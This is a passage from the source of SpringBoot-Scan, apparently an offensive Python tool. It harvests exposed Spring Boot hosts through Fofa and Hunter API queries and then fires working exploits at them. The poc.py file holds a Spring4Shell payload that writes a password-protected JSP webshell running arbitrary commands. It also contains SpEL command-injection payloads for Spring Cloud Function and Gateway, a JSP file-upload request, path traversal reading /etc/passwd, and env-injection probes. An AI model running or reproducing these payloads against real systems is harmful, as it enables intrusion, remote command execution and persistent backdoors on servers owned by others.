您的key有效,测试成功!您的账号为 %s" % username, "red") 84 | isvip = data["isvip"] 85 | if isvip == 1: 86 | cprint("[+] 您的账号为VIP会员", "red") 87 | else: 88 | cprint("[.] 您的账号不是VIP会员", "yellow") 89 | Key_Dowload(key,proxies,choices,searchs) 90 | else: 91 | apierror = data["errmsg"] 92 | cprint("[-] 发生错误,API返回结果为 %s" % apierror,"yellow") 93 | cprint("[-] 请根据返回的结果,参考官方手册:https://fofa.info/api","yellow") 94 | sys.exit() 95 | except KeyboardInterrupt: 96 | print("Ctrl + C 手动终止了进程") 97 | sys.exit() 98 | except Exception as e: 99 | print("[-] 发生错误,已记入日志error.log\n") 100 | f2 = open("error.log", "a") 101 | f2.write(str(e) + '\n') 102 | f2.close() 103 | 104 | def FofaDowload(key,proxies): 105 | cprint("======开始对接Fofa接口进行Spring资产测绘======","green") 106 | cprint('[+] 您的Fofa密钥为:' + key ,"green") 107 | try: 108 | choices = input("\n[.] 请输入要测绘的资产数量(默认100条): ") 109 | if choices == '': 110 | choices = "100" 111 | elif int(choices) <= 0: 112 | print("请不要输入负数") 113 | sys.exit() 114 | choices = int(choices) 115 | except Exception as e: 116 | print("请不要输入无意义的字符串") 117 | sys.exit() 118 | search = input("[.] 请输入要测绘的语句(默认icon_hash=\"116323821\"||body=\"Whitelabel Error Page\"): ") 119 | if search == "": 120 | searchs = str("aWNvbl9oYXNoPSIxMTYzMjM4MjEifHxib2R5PSJXaGl0ZWxhYmVsIEVycm9yIFBhZ2Ui") 121 | else: 122 | search = base64.b64encode(search.encode("utf-8")) 123 | searchs = str(search.decode('utf-8')) 124 | f2 = open("fofaout.txt", "wb+") 125 | f2.close() 126 | Key_Test(key,proxies,choices,searchs) 127 | count = len(open("fofaout.txt", 'r').readlines()) 128 | if count >= 1: 129 | cprint("[+][+][+] 已经将Fofa的资产结果导出至 fofaout.txt ,共%d行记录" % count,"red") 130 | sys.exit() 131 | -------------------------------------------------------------------------------- /inc/hunter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | import requests, sys, json, re, random, base64 8 | from termcolor import cprint 9 | from time import sleep 10 | import urllib3 11 | urllib3.disable_warnings() 12 | 13 | def JSON_load(text): 14 | json_str = text 15 | data = json.loads(json_str) 16 | if data["data"]["arr"]: 17 | # 提取ip和port信息 18 | ip_port_list = [(match["url"]) for match in data["data"]["arr"]] 19 | else: 20 | cprint("[-] 没有搜索到任何资产,请确认你的语法是否正确","yellow") 21 | sys.exit() 22 | # 打印提取的信息 23 | for service in ip_port_list: 24 | outurl = str(service) 25 | f2 = open("hunterout.txt", "a") 26 | f2.write(str(outurl) + '\n') 27 | f2.close() 28 | print(f"Service: {outurl}") 29 | 30 | def Key_Dowload(key,proxies,choices,searchs): 31 | cprint("======通过Hunter密钥进行API下载数据======","green") 32 | Headers = { 33 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", 34 | "Content-Type": "application/x-www-form-urlencoded" 35 | } 36 | pagesys = (choices%20) 37 | pageszc = (choices//20) 38 | if pagesys > 0: 39 | pages = pageszc + 1 40 | else: 41 | pages = pageszc 42 | i = 1 43 | while i <= pages: 44 | page_url = "&page=" + str(i) 45 | keyurl = "https://hunter.qianxin.com/openApi/search?api-key=" + str(key) + "&search=" + str(searchs) + "&page_size=20&is_web=1" 46 | dowloadurl = str(keyurl + page_url) 47 | cprint("[+] 正在尝试下载第 %d 页数据" % i, "red") 48 | try: 49 | requests.packages.urllib3.disable_warnings() 50 | dowloadre = requests.get(url=dowloadurl, headers=Headers, timeout=10, verify=False, proxies=proxies) 51 | if ("\"code\":200" in str(dowloadre.text)): 52 | JSON_load(dowloadre.text) 53 | cprint("-" * 45, "red") 54 | sleep(2) 55 | else: 56 | cprint("[-] API返回状态码为 %d" % dowloadre.status_code,"yellow") 57 | cprint("[-] 请根据返回的状态码,参考官方手册:https://hunter.qianxin.com/home/helpCenter?r=5-1-1","yellow") 58 | except KeyboardInterrupt: 59 | print("Ctrl + C 手动终止了进程") 60 | sys.exit() 61 | except Exception as e: 62 | print(e) 63 | print("[-] 发生错误,已记入日志error.log\n") 64 | f2 = open("error.log", "a") 65 | f2.write(str(e) + '\n') 66 | f2.close() 67 | i = i + 1 68 | 69 | def Key_Test(key,proxies,choices,searchs): 70 | cprint("======您的Hunter密钥进行API对接测试======","green") 71 | Headers = { 72 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", 73 | "Content-Type": "application/x-www-form-urlencoded" 74 | } 75 | keytesturl = "https://hunter.qianxin.com/openApi/search?api-key=" + key + "&search=dGl0bGU9IuWMl-S6rCI=&page=1&page_size=10&is_web=1" 76 | try: 77 | requests.packages.urllib3.disable_warnings() 78 | testre = requests.get(url=keytesturl, headers=Headers, timeout=10, verify=False, proxies=proxies) 79 | json_str = testre.text 80 | data = json.loads(json_str) 81 | recode = data["code"] 82 | if str(recode) == "200": 83 | cprint("[+] 您的key有效,测试成功!", "red") 84 | rest_quota = data["data"]["rest_quota"] 85 | cprint("[+] %s" % rest_quota, "red") 86 | sleep(2) 87 | Key_Dowload(key,proxies,choices,searchs) 88 | else: 89 | cprint("[-] API返回状态码为 %d" % recode,"yellow") 90 | cprint("[-] 请根据返回的状态码,参考官方手册:https://hunter.qianxin.com/home/helpCenter?r=5-1-1","yellow") 91 | sys.exit() 92 | except KeyboardInterrupt: 93 | print("Ctrl + C 手动终止了进程") 94 | sys.exit() 95 | except Exception as e: 96 | print("[-] 发生错误,已记入日志error.log\n") 97 | f2 = open("error.log", "a") 98 | f2.write(str(e) + '\n') 99 | f2.close() 100 | 101 | def HunterDowload(key,proxies): 102 | cprint("======开始对接鹰图接口进行Spring资产测绘======","green") 103 | cprint('[+] 您的Hunter密钥为:' + key ,"green") 104 | try: 105 | choices = input("\n[.] 请输入要测绘的资产数量(默认100条): ") 106 | if choices == '': 107 | choices = "100" 108 | elif int(choices) <= 0: 109 | print("请不要输入负数") 110 | sys.exit() 111 | choices = int(choices) 112 | except Exception as e: 113 | print("请不要输入无意义的字符串") 114 | sys.exit() 115 | search = input("[.] 请输入要测绘的语句(默认app.name=\"Spring Whitelabel Error\"): ") 116 | if search == "": 117 | searchs = str("YXBwLm5hbWU9IlNwcmluZyBXaGl0ZWxhYmVsIEVycm9yIg==") 118 | else: 119 | search = base64.urlsafe_b64encode(search.encode("utf-8")) 120 | searchs = str(search.decode('utf-8')) 121 | f2 = open("hunterout.txt", "wb+") 122 | f2.close() 123 | Key_Test(key,proxies,choices,searchs) 124 | count = len(open("hunterout.txt", 'r').readlines()) 125 | if count >= 1: 126 | cprint("[+][+][+] 已经将Hunter的资产结果导出至 hunterout.txt ,共%d行记录" % count,"red") 127 | sys.exit() 128 | -------------------------------------------------------------------------------- /inc/output.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | import time, os, sys 8 | 9 | def logo(): 10 | logo0 = r''' 11 | ______ __ _______ __ 12 | / \ | \ | \ | \ 13 | | $$$$$$\ ______ ______ \$$ _______ ______ | $$$$$$$\ ______ ______ _| $$_ 14 | | $$___\$$ / \ / \ | \| \ / \ | $$__/ $$ / \ / \| $$ \ 15 | \$$ \ | $$$$$$\| $$$$$$\| $$| $$$$$$$\| $$$$$$\| $$ $$| $$$$$$\| $$$$$$\\$$$$$$ 16 | _\$$$$$$\| $$ | $$| $$ \$$| $$| $$ | $$| $$ | $$| $$$$$$$\| $$ | $$| $$ | $$ | $$ __ 17 | | \__| $$| $$__/ $$| $$ | $$| $$ | $$| $$__| $$| $$__/ $$| $$__/ $$| $$__/ $$ | $$| \ 18 | \$$ $$| $$ $$| $$ | $$| $$ | $$ \$$ $$| $$ $$ \$$ $$ \$$ $$ \$$ $$ 19 | \$$$$$$ | $$$$$$$ \$$ \$$ \$$ \$$ _\$$$$$$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$$$ 20 | | $$ | \__| $$ 21 | | $$ \$$ $$ [+] V2.6-2025年 蛇年新春贺岁版 22 | \$$ \$$$$$$ [+] 感谢一路上支持和关注我们的师傅 23 | ______ 24 | / \ +-------------------------------------+ 25 | | $$$$$$\ _______ ______ _______ + Version: 2.6 + 26 | | $$___\$$ / \| \ | \ + Author: 曾哥(@AabyssZG) + 27 | \$$ \ | $$$$$$$ \$$$$$$\| $$$$$$$\ + Whoami: https://github.com/AabyssZG + 28 | _\$$$$$$\| $$ / $$| $$ | $$ +-------------------------------------+ 29 | | \__| $$| $$_____| $$$$$$$| $$ | $$ + 多进程速度提升: Fkalis + 30 | \$$ $$ \$$ \\$$ $$| $$ | $$ + Whoami: github.com/WingBy-Fkalis + 31 | \$$$$$$ \$$$$$$$ \$$$$$$$ \$$ \$$ +-------------------------------------+ 32 | ''' 33 | print(logo0) 34 | 35 | def usage(): 36 | print(''' 37 | 用法: 38 | 对单一URL进行信息泄露扫描: python3 SpringBoot-Scan.py -u http://example.com/ 39 | 读取目标TXT进行批量信息泄露扫描: python3 SpringBoot-Scan.py -uf url.txt 40 | 对单一URL进行漏洞扫描: python3 SpringBoot-Scan.py -v http://example.com/ 41 | 读取目标TXT进行批量漏洞扫描: python3 SpringBoot-Scan.py -vf url.txt 42 | 扫描并下载SpringBoot敏感文件: python3 SpringBoot-Scan.py -d http://example.com/ 43 | 读取目标TXT进行批量敏感文件扫描: python3 SpringBoot-Scan.py -df url.txt 44 | 使用HTTP代理并自动进行连通性测试: python3 SpringBoot-Scan.py -p <代理IP:端口> 45 | 从TXT文件中导入自定义HTTP头部: python3 SpringBoot-Scan.py -t header.txt 46 | 通过ZoomEye密钥进行API下载数据: python3 SpringBoot-Scan.py -z 47 | 通过Fofa密钥进行API下载数据: python3 SpringBoot-Scan.py -f 48 | 通过Hunter密钥进行API下载数据: python3 SpringBoot-Scan.py -y 49 | 50 | 免责声明: 51 | 1.如果您下载、安装、使用、修改本工具及相关代码,即表明您信任本工具 52 | 2.在使用本工具时造成对您自己或他人任何形式的损失和伤害,我们不承担任何责任 53 | 3.如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任 54 | 4.请您务必审慎阅读、充分理解各条款内容,特别是免除或者限制责任的条款,并选择接受或不接受 55 | 5.除非您已阅读并接受本协议所有条款,否则您无权下载、安装或使用本工具 56 | 6.您的下载、安装、使用等行为即视为您已阅读并同意上述协议的约束 57 | ''') 58 | 59 | """ 60 | 参数: 61 | -u --url 对单一URL进行信息泄露扫描 62 | -uf --urlfile 读取目标TXT进行批量信息泄露扫描 63 | -v --vul 对单一URL进行漏洞利用 64 | -vf --vulfile 读取目标TXT进行批量漏洞扫描 65 | -d --dump 扫描并下载SpringBoot敏感文件(可提取敏感信息) 66 | -df --dumpfile 读取目标TXT进行批量敏感文件扫描(可提取敏感信息) 67 | -p --proxy 使用HTTP进行代理(默认连通性测试www.baidu.com) 68 | -z --zoomeye 通过对接ZoomEye的API批量下载Spring的资产测绘数据 69 | -f --fofa 通过对接Fofa的API批量下载Spring的资产测绘数据 70 | -y --hunter 通过对接Hunter的API批量下载Spring的资产测绘数据 71 | -t --newheader 从TXT文件中导入自定义HTTP头部 72 | """ 73 | -------------------------------------------------------------------------------- /inc/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | ################ 4 | # AabyssZG # 5 | ################ 6 | 7 | import requests, sys, json, re, random, base64 8 | from termcolor import cprint 9 | from time import sleep 10 | import urllib3 11 | urllib3.disable_warnings() 12 | outtime = 10 13 | 14 | ua = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", 15 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36", 16 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", 17 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", 18 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", 19 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0", 20 | "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00"] 21 | 22 | def CVE_2022_22965(url, proxies): 23 | Headers_1 = { 24 | "User-Agent": random.choice(ua), 25 | "suffix": "%>//", 26 | "c1": "Runtime", 27 | "c2": "<%", 28 | "DNT": "1", 29 | "Content-Type": "application/x-www-form-urlencoded" 30 | } 31 | payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 32 | payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 33 | payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 34 | data1 = payload_linux 35 | data2 = payload_win 36 | getpayload = url + payload_http 37 | try: 38 | requests.packages.urllib3.disable_warnings() 39 | requests.post(url, headers=Headers_1, timeout = outtime, data=data1, allow_redirects=False, verify=False, proxies=proxies) 40 | sleep(0.5) 41 | requests.post(url, headers=Headers_1, timeout = outtime, data=data2, allow_redirects=False, verify=False, proxies=proxies) 42 | sleep(0.5) 43 | requests.get(getpayload, headers=Headers_1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 44 | sleep(0.5) 45 | test = requests.get(url + "tomcatwar.jsp", timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 46 | if (test.status_code == 200): 47 | cprint("[+] [CVE-2022-22965] Webshell为:" + url + "tomcatwar.jsp?pwd=tomcat&cmd=whoami" ,"red") 48 | f2 = open("vulout.txt", "a") 49 | f2.write("[+] [CVE-2022-22965] " + url + "tomcatwar.jsp?pwd=tomcat&cmd=whoami" + '\n') 50 | f2.close() 51 | else: 52 | cprint("[-] 目标 " + url + " 验证CVE-2022-22965漏洞不存在或者已经被利用","yellow") 53 | except KeyboardInterrupt: 54 | print("Ctrl + C 手动终止了进程") 55 | sys.exit() 56 | except Exception as e: 57 | print("[-] 验证CVE-2022-22965漏洞发生错误,已记入日志error.log") 58 | f2 = open("error.log", "a") 59 | f2.write(str(e) + '\n') 60 | f2.close() 61 | 62 | def CVE_2022_22963(url, proxies): 63 | payload = f'T(java.lang.Runtime).getRuntime().exec("whoami")' 64 | 65 | data = 'test' 66 | header = { 67 | 'spring.cloud.function.routing-expression': payload, 68 | 'Accept-Encoding': 'gzip, deflate', 69 | 'Accept': '*/*', 70 | 'Accept-Language': 'en', 71 | 'User-Agent': random.choice(ua), 72 | 'Content-Type': 'application/x-www-form-urlencoded' 73 | } 74 | path = 'functionRouter' 75 | 76 | try: 77 | urltest = url + path 78 | requests.packages.urllib3.disable_warnings() 79 | req = requests.post(url=urltest, headers=header, timeout = outtime, data=data, verify=False, proxies=proxies) 80 | code = req.status_code 81 | text = req.text 82 | rsp = '"error":"Internal Server Error"' 83 | if (code == 500) and (rsp in text): 84 | cprint(f'[+] [CVE-2022-22963] {url},请手动反弹Shell', "red") 85 | f2 = open("vulout.txt", "a") 86 | f2.write("[+] [CVE-2022-22963] " + url + '\n') 87 | f2.close() 88 | else: 89 | cprint("[-] 目标 " + url + " 验证CVE-2022-22963漏洞不存在", "yellow") 90 | except KeyboardInterrupt: 91 | print("Ctrl + C 手动终止了进程") 92 | sys.exit() 93 | except Exception as e: 94 | print("[-] 验证CVE-2022-22963漏洞发生错误,已记入日志error.log") 95 | f2 = open("error.log", "a") 96 | f2.write(str(e) + '\n') 97 | f2.close() 98 | 99 | def CVE_2022_22947(url, proxies): 100 | headers1 = { 101 | 'Accept-Encoding': 'gzip, deflate', 102 | 'Accept': '*/*', 103 | 'Accept-Language': 'en', 104 | 'User-Agent': random.choice(ua), 105 | 'Content-Type': 'application/json' 106 | } 107 | 108 | headers2 = { 109 | 'User-Agent': random.choice(ua), 110 | 'Content-Type': 'application/x-www-form-urlencoded' 111 | } 112 | 113 | payload_windows = '''{\r 114 | "id": "hacktest",\r 115 | "filters": [{\r 116 | "name": "AddResponseHeader",\r 117 | "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"dir\\"}).getInputStream()))}"}\r 118 | }],\r 119 | "uri": "http://example.com",\r 120 | "order": 0\r 121 | }''' 122 | payload_linux = payload_windows.replace('dir', 'id') 123 | 124 | try: 125 | requests.packages.urllib3.disable_warnings() 126 | re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", timeout = outtime, data=payload_linux, headers=headers1, json=json ,verify=False, proxies=proxies) 127 | re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 128 | re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 129 | if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)): 130 | cprint(f'[+] [CVE-2022-22947] {url}', "red") 131 | f2 = open("vulout.txt", "a") 132 | f2.write("[+] [CVE-2022-22947] " + url + '\n') 133 | f2.close() 134 | else: 135 | re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 136 | re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 137 | re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_windows, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies) 138 | re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 139 | re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 140 | if ('' in str(re3.text)): 141 | cprint(f'[+] [CVE-2022-22947] {url}', "red") 142 | f2 = open("vulout.txt", "a") 143 | f2.write("[+] [CVE-2022-22947] " + url + '\n') 144 | f2.close() 145 | else: 146 | cprint("[-] 目标 " + url + " 验证CVE-2022-22947漏洞不存在", "yellow") 147 | re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 148 | re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) 149 | except KeyboardInterrupt: 150 | print("Ctrl + C 手动终止了进程") 151 | sys.exit() 152 | except Exception as e: 153 | print("[-] 验证CVE-2022-22947漏洞发生错误,已记入日志error.log") 154 | f2 = open("error.log", "a") 155 | f2.write(str(e) + '\n') 156 | f2.close() 157 | 158 | def JeeSpring_2023(url,proxies): 159 | headers1 = { 160 | 'User-Agent': random.choice(ua), 161 | 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', 162 | 'Accept-Encoding': 'gzip, deflate', 163 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 164 | 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', 165 | 'Connection': 'close' 166 | } 167 | 168 | payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' 169 | payload = base64.b64decode(payload2) 170 | path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' 171 | 172 | try: 173 | requests.packages.urllib3.disable_warnings() 174 | re1 = requests.post(url=url + path, data=payload, headers=headers1, timeout = outtime, verify=False, proxies=proxies) 175 | code1 = re1.status_code 176 | if ('jsp' in str(re1.text)) and (int(code1) == 200): 177 | cprint(f'[+] [JeeSpring_2023] {url}', "red") 178 | f2 = open("vulout.txt", "a") 179 | f2.write("[+] [JeeSpring_2023] " + url + '\n') 180 | f2.close() 181 | else: 182 | cprint("[-] 目标 " + url + " 验证2023JeeSpring任意文件上传漏洞不存在", "yellow") 183 | except KeyboardInterrupt: 184 | print("Ctrl + C 手动终止了进程") 185 | sys.exit() 186 | except Exception as e: 187 | print("[-] 验证2023JeeSpring文件上传漏洞发生错误,已记入日志error.log") 188 | f2 = open("error.log", "a") 189 | f2.write(str(e) + '\n') 190 | f2.close() 191 | 192 | def JolokiaRCE(url,proxies): 193 | path1 = 'jolokia' 194 | path2 = 'actuator/jolokia' 195 | path3 = 'jolokia/list' 196 | 197 | try: 198 | requests.packages.urllib3.disable_warnings() 199 | re1 = requests.post(url=url + path1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 200 | code1 = re1.status_code 201 | re2 = requests.post(url=url + path2, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) 202 | code2 = re2.status_code 203 | if ((int(code1) == 200) or (int(code2) == 200)): 204 | retest = requests.get(url=url + path3, timeout = outtime, verify=False, proxies=proxies) 205 | code3 = retest.status_code 206 | if ('reloadByURL' in str(retest.text)) and (code3 == 200): 207 | cprint(f'[+] [Jolokia-Realm-JNDI-RCE-1] {url}', "red") 208 | f2 = open("vulout.txt", "a") 209 | f2.write("[+] [Jolokia-Realm-JNDI-RCE-1] " + url + '\n') 210 | f2.close() 211 | elif ('createJNDIRealm' in str(retest.text)) and (code3 == 200): 212 | cprint(f'[+] [Jolokia-Realm-JNDI-RCE-2] {url}', "red") 213 | f2 = open("vulout.txt", "a") 214 | f2.write("[+] [Jolokia-Realm-JNDI-RCE-2] " + url + '\n') 215 | f2.close() 216 | else: 217 | cprint("[-] 目标 " + url + " 验证Jolokia系列RCE漏洞不存在", "yellow") 218 | except KeyboardInterrupt: 219 | print("Ctrl + C 手动终止了进程") 220 | sys.exit() 221 | except Exception as e: 222 | print("[-] 验证Jolokia系列RCE漏洞发生错误,已记入日志error.log") 223 | f2 = open("error.log", "a") 224 | f2.write(str(e) + '\n') 225 | f2.close() 226 | 227 | def CVE_2021_21234(url,proxies): 228 | payload1 = 'manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../' 229 | payload2 = 'log/view?filename=/windows/win.ini&base=../../../../../../../../../../' 230 | payload3 = 'manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../' 231 | payload4 = 'log/view?filename=/etc/passwd&base=../../../../../../../../../../' 232 | 233 | try: 234 | requests.packages.urllib3.disable_warnings() 235 | re1 = requests.post(url=url + payload1, timeout = outtime, verify=False, proxies=proxies) 236 | re2 = requests.post(url=url + payload2, timeout = outtime, verify=False, proxies=proxies) 237 | re3 = requests.post(url=url + payload3, timeout = outtime, verify=False, proxies=proxies) 238 | re4 = requests.post(url=url + payload4, timeout = outtime, verify=False, proxies=proxies) 239 | if (('MAPI' in str(re1.text)) or ('MAPI' in str(re2.text))): 240 | cprint(f'[+] [CVE-2021-21234-Win] {url}', "red") 241 | f2 = open("vulout.txt", "a") 242 | f2.write("[+] [CVE-2021-21234-Win] " + url + '\n') 243 | f2.close() 244 | elif (('root:x:' in str(re3.text)) or ('root:x:' in str(re4.text))): 245 | cprint(f'[+] [CVE-2021-21234-Linux] {url}', "red") 246 | f2 = open("vulout.txt", "a") 247 | f2.write("[+] [CVE-2021-21234-Linux] " + url + '\n') 248 | f2.close() 249 | else: 250 | cprint("[-] 目标 " + url + " 验证Spring Boot目录遍历漏洞不存在", "yellow") 251 | except KeyboardInterrupt: 252 | print("Ctrl + C 手动终止了进程") 253 | sys.exit() 254 | except Exception as e: 255 | print("[-] 验证Spring Boot目录遍历漏洞发生错误,已记入日志error.log") 256 | f2 = open("error.log", "a") 257 | f2.write(str(e) + '\n') 258 | f2.close() 259 | 260 | def SnakeYAML_RCE(url,proxies): 261 | Headers_1 = { 262 | "User-Agent": random.choice(ua), 263 | "Content-Type": "application/x-www-form-urlencoded" 264 | } 265 | Headers_2 = { 266 | "User-Agent": random.choice(ua), 267 | "Content-Type": "application/json" 268 | } 269 | payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" 270 | payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" 271 | path = 'env' 272 | 273 | try: 274 | requests.packages.urllib3.disable_warnings() 275 | urltest = url + path 276 | re1 = requests.post(url=urltest, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies) 277 | re2 = requests.post(url=urltest, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies) 278 | if ('example.yml' in str(re1.text)): 279 | cprint(f'[+] [SnakeYAML_RCE-1] {url}', "red") 280 | f2 = open("vulout.txt", "a") 281 | f2.write("[+] [SnakeYAML_RCE-1] " + url + '\n') 282 | f2.close() 283 | elif ('example.yml' in str(re2.text)): 284 | cprint(f'[+] [SnakeYAML_RCE-2] {url}', "red") 285 | f2 = open("vulout.txt", "a") 286 | f2.write("[+] [SnakeYAML_RCE-2] " + url + '\n') 287 | f2.close() 288 | else: 289 | cprint("[-] 目标 " + url + " 验证SnakeYAML-RCE漏洞不存在", "yellow") 290 | except KeyboardInterrupt: 291 | print("Ctrl + C 手动终止了进程") 292 | sys.exit() 293 | except Exception as e: 294 | print("[-] 验证SnakeYAML-RCE漏洞发生错误,已记入日志error.log") 295 | f2 = open("error.log", "a") 296 | f2.write(str(e) + '\n') 297 | f2.close() 298 | 299 | def Eureka_xstream_RCE(url,proxies): 300 | Headers_1 = { 301 | "User-Agent": random.choice(ua), 302 | "Content-Type": "application/x-www-form-urlencoded" 303 | } 304 | Headers_2 = { 305 | "User-Agent": random.choice(ua), 306 | "Content-Type": "application/json" 307 | } 308 | payload_1 = "eureka.client.serviceUrl.defaultZone=http://127.0.0.2/example.yml" 309 | payload_2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http://127.0.0.2/example.yml\"}" 310 | path1 = 'env' 311 | path2 = 'actuator/env' 312 | 313 | try: 314 | requests.packages.urllib3.disable_warnings() 315 | urltest1 = url + path1 316 | urltest2 = url + path2 317 | re1 = requests.post(url=urltest1, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies) 318 | re2 = requests.post(url=urltest2, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies) 319 | if 